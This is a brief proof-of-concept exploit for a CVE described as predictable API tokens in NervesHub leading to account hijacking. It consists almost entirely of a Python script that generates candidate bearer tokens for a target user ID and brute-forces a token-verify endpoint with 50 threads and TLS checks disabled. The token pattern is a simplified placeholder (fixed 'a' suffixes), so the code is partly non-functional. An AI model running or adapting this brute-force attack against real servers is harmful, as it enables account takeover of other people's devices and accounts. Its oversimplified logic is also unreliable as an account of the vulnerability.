CVE-2025-64097 NervesHub API Token可预测导致账户劫持

import requests import itertools import string import sys from concurrent.futures import ThreadPoolExecutor, as_completed # CVE-2025-64097 PoC - NervesHub Token Brute Force # Target: NervesHub instances < v2.3.0 TARGET_URL = "https://target-nerveshub.example.com/api/tokens/verify" TARGET_USER_ID = 12345 # Target user ID (can be enumerated) def generate_predictable_tokens(user_id, count=1000): """Generate tokens using predictable pattern (demonstration only)""" tokens = [] # Pattern: user_id + timestamp_low + random_suffix (simplified) for i in range(count): token = f"nh_{user_id}_{i:06d}_{''.join(['a']*16)}" tokens.append(token) return tokens def test_token(token): """Test if token is valid""" try: response = requests.post( TARGET_URL, headers={"Authorization": f"Bearer {token}"}, timeout=10, verify=False ) if response.status_code == 200: return token, True, response.json() return token, False, None except Exception as e: return token, False, None def main(): print(f"[*] CVE-2025-64097 NervesHub Token Brute Force PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target User ID: {TARGET_USER_ID}") tokens = generate_predictable_tokens(TARGET_USER_ID, 10000) print(f"[*] Generated {len(tokens)} candidate tokens") print("[*] Starting brute force attack...") with ThreadPoolExecutor(max_workers=50) as executor: futures = {executor.submit(test_token, token): token for token in tokens} for future in as_completed(futures): token, is_valid, response = future.result() if is_valid: print(f"[!] VALID TOKEN FOUND: {token}") print(f"[!] Response: {response}") return token print("[-] No valid token found (target may be patched or offline)") return None if __name__ == "__main__": main()